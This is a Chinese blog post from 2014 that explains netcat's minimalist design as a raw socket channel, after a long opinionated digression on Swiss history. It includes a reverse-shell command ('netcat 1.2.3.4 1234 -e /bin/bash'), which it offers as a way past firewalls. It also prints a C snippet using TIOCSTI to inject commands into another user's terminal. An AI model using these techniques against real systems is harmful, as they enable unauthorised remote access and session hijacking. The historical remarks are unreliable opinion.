网络工具的瑞士军刀netcat

时间：2014-06-14 14:08:28 阅读：255 评论：0 收藏：0 [点我收藏+]

这是一个聒噪的夜晚，如果要给出个原因，可能是因为虽然我觉得西班牙不纯粹，但是怎么也不至于干为人家搭台面自己不唱戏的角色吧..结束以后，我觉得该玩一下素有网络瑞士军刀之称谓的netcat了。虽然瑞士军刀和netcat除了在小而精方面之外并没有必然的联系，但是我还是想扯一通我所了解的瑞士，博客嘛，不是论文，不是测试报告，发散一点没有问题，并且，我觉得将来，跨界将是一个必然的趋势，拥有跨界的能力也是一个必然的优势。
       瑞士是一个没有历史的国家，它完全就是1848年的政治妥协的结果，这也说明了为什么即便是纳粹德国也认可它永久中立国的地位，但是并不意味着生活在这片土地的民族没有历史，自凯撒时代以远，这里就生活着自由的民族，罗马化时代，它处在高卢和平氛围之下自我发展，之后它的历史就是一部融合，分离，抗争与中立的历史了，但是不可否认的是，这片土地以及这片土地上的人们在纷乱的中世纪大领主，国王，神罗皇帝，教皇，主教，自治市...之间的激烈混战中存活了下来，并没有变成废墟，直到现在，这里依旧是实际上最富裕的地区之一，看看地图就知道，和比利时，荷兰不同，瑞士处在一个大国的包围圈中，法国，德国，意大利，奥地利四强构成了瑞士的邻国。从它的语言上可以看出来它的历史，德语，法语，意大利语(为什么没有奥地利语呢？因为奥地利大部分人说德语，神罗后遗症)，这种地位正恰恰符合欧洲均势原则，所以瑞士反而可以毫发未损地作为中立国躲过N次浩劫，正是欧洲均势原则，为瑞士这样的国家创造了一个稳定的外部环境，它可以将设计精细化，可以不为外部压力而妥协，瑞士军刀就是在这种环境下打造的，当然，还有手表。但是如果再来点别的什么就更够味儿了。
       什么呢？那就是北欧基因。我要是说是北欧基因促成了Linux，你信吗？但不管怎样，北欧基因确实起了作用。北欧人，一个纯粹的海洋民族的后裔，一个和罗马帝国无关的民族的后裔，挣脱了欧洲传统的羁绊，远离了历史遗留的纷争，他们生活在一个童话和神话的世界，驾驭着深不可测的海洋，自由摇摆着灵活和自由以及规则的原始冲动，这也许是海洋民族的最大特质。
       瑞士军刀，一个带有北欧基因的超级小工具，符合其外在自洽内部发散的哲学，怎么形容它的优美都不过分，北欧的基因表现型，加上小而精的追求，正是这种特质给瑞士军刀营造了和Linux相同的氛围......当然物尽所用并不意味着它是万能的，你不能指望用它来割断起重机的钢丝绳，也不要幻想它能撬起一辆卡车，事实上，这些功能的缺失却正是瑞士军刀的优美之处，即它不是大而全，而是小而精，有时候，小而精的哲学确实能取胜。评价一个工具的标准并不是它能做什么，而是它能多么简单地做到它声称可以做的事。手里拿着一个瑞士军刀，你可以省去带很多东西，事实上任何小工具都可以内置其中，比如温度计，指南针，剪刀，起子，螺丝刀，U盘，电表，牙签，绕线圈...设计的精妙之处在于，如何把这些东西放在一个有限的空间中，以及如何不被人们误用这些功能，简单的方式就是每个小工具只完美实现一个功能。好吧，这就是瑞士军刀的全部，下面就是netcat了。
       netcat，很小很小，并且是真的小，而不是表现的小，它不像Linux内核那样，有人声称它可以被裁减到不到xk，但是你知道这个裁减的人要付出多大的心血吗？如果换一个刚毕业不久辛苦求得一份工作的人来裁减，他可能只是大学期间看过一些代码，那他要加多少班啊。好东西不在于它能被裁到多小，而是在于它真的不能再小了。netcat能小到什么程度呢？实际上它仅仅提供了一个socket IO通道而已，但别看它自带的这么小的功能集合，甚至都不能称之为集合，它却把扩展的范围提升到了你的想象力所及的范围，对于不善于思考的人来讲，它也许只是一个telnet一样的程序，但是对于善于思考的人来讲，它可以构建一个安全的远程shell。你想过用它来构建一个SSL通道吗？
       在开始我的探索之前，首先简要概览一下可以从网上搜到的netcat的功能，我这里就不再重复了，它的功能点包括但不限于：探测端口是否开启，端口扫描，远程拷贝文件，远程拷贝目录，加密传输数据，远程执行shell，反向远程shell...为什么如此小的netcat能完成这么多的功能呢？
       原因在于，它只提供了最小集，即一个IO通道而已，至于说如何构建数据，那不是它的职责，netcat并不假设数据的任何格式，对数据没有任何约束，这一点和telnet不同，虽然telnet也是一个稍微通用些的TCP测试程序，但是对于数据传输它有很多格式规定和假设，毕竟它最开始就是为远程登录设计的，事实上上述的功能几乎都不是netcat完成的，netcat只是把数据传输到对端而已，仅此而已。这是个创举！试想，到底是谁规定一个远程的telnet 23或者ssh必须是TCP的客户端主动发起连接TCP服务端呢？即到底凭什么sshd要运行在TCP服务端呢？事实上，没有人规定，只是一个远程登录而已，但就是这个实现上的默认行为，导致了很多远程登录无法进行，因为这些远程登录是从外网到内网的，而很多防火墙都不允许从外到内的主动访问。使用netcat可以做到这一点，在内网运行一个netcat客户端，在外网运行netcat服务端，然后让/bin/bash覆盖掉netcat即可，这就是创举所在。我来说下why。
       如果你执行一个netcat -e $pro，那么在连接成功后，你以为netcat会像大多数程序一样调用fork/exec来执行pro吗？很多人都会这么认为，因为这是UNIX传统的标准做法，但是netcat没有这么做，而是直接在当前的netcat进程exec一个pro，这太猛了，当前的netcat就此消失被pro覆盖，那么接下来怎么办？谁来进行主控？事实上，netcat就此就把控制权完全交给了pro，在交接之前，把STDIN，STDOUT，STDERR重定向到自己的socket，仅此而已，netcat留下的就是一个socket IO通道，接下来的pro程序的STDIN，STDOUT，STDERR就是socket了，除此之外，netcat没有留下任何痕迹，在执行netcat 1.2.3.4 1234 -e /bin/bash的时候，言外之意就好像在执行/bin/bash socketstdin socketstdout...只可惜UNIX哲学不允许/bin/bash这样的程序和socket有任何关联，那么只好利用另外一个小程序和它组合从而在网络上模拟本地IO了，netcat在-e参数下除了干这个，没有任何毒副作用。如果你不想完全将STDIN，STDOUT，STDERR都重定向，比如你只想重定向STDIN，那么你就可以将|，>，<等符号和netcat组合，比如netcat -l -p 1234 <./transfile，cat transfile2 |netcat 127.0.0.1 2234等，在这种情况下，netcat本身还在，并没有在-e参数下那样消失，但是它除了做IO之外，什么都不会多做。瑞士军刀般的多样化功能就是这么来的，是的，一切都在于你的想象力，你再也不能说，这个功能或者那个功能netcat没有提供，不能这样说，应该说你自己没有想到它能怎么用。如果让我写netcat的手册，我就写一句话：它提供且仅仅提供一个TCP或者UDP网络通道，它能实现所有使用TCP或者UDP协议的的网络功能。
       我想实现一个远程执行命令的机制，不想编程，也不想用ssh，怎么办呢？使用netcat很好办，首先它可以实现一个DH密钥交换，然后加密要传输的数据，然后解密，即兴创建一个shell，执行命令后返回结果，加密返回，这些都不在话下。如果你想远程获得一个加密的shell，就需要做一些工作了，要么你实现一个自环管道，即命令序列的最后一个的标准输出定向到第一个命令的标准输入，即netcat 1.2.3.4 1234|decryto|/bin/bash|encryto@，最后的@意味着encryto的标准输出定向到netcat的标准输入，即socket，如果不想这么做，那就你就用下面的代码序列劫持任何一个已经处在tty上运行的shell然后执行命令后捕获返回值返回：

int fd = open("/dev/pts/0", O_RDWR);
ioctl(fd,   TIOCSTI,   "l ");
ioctl(fd,   TIOCSTI,   "s ");
ioctl(fd,   TIOCSTI,   "\n ");

但是不管你怎么做，千万不要修改netcat，如果你真的想修改它，那还不如自己写一个满足自己需求的呢，因为netcat没什么好改的，你就把它当成下面的程序即可：

socket;
listen
accept //注意，没有多处理机制
loop:
read;
write;
loop;

记住，用已有的小工具构建一个大功能是一种艺术，netcat本身不是瑞士军刀，它更像瑞士军刀的刀柄和刀鞘，可以容纳几乎所有的工具，小即是多，关键在包容，大的包容性，自然约束是最少的。netcat完全符合了UNIX的哲学。
在网络编程工具上有没有瑞士军刀呢？我认为有，那就是OpenSSL的BIO机制，它抽象了IO过程，和netcat重定向了IO过程类似。如果说netcat在网络环境模拟了本机环境的话，那么BIO则可以在本机模拟网络环境，就OpenVPN而言，数据是直接写到BIO的，而不是直接写到socket的，这个和netcat的过程恰恰相反，在没有网络的环境下，想要调试网络程序，那么BIO就是利器了。
早上六点多，西班牙已经输了一段时间，我本不是狂热的球迷，就是跟下风而已，据说明天的意大利VS英格兰会很精彩。

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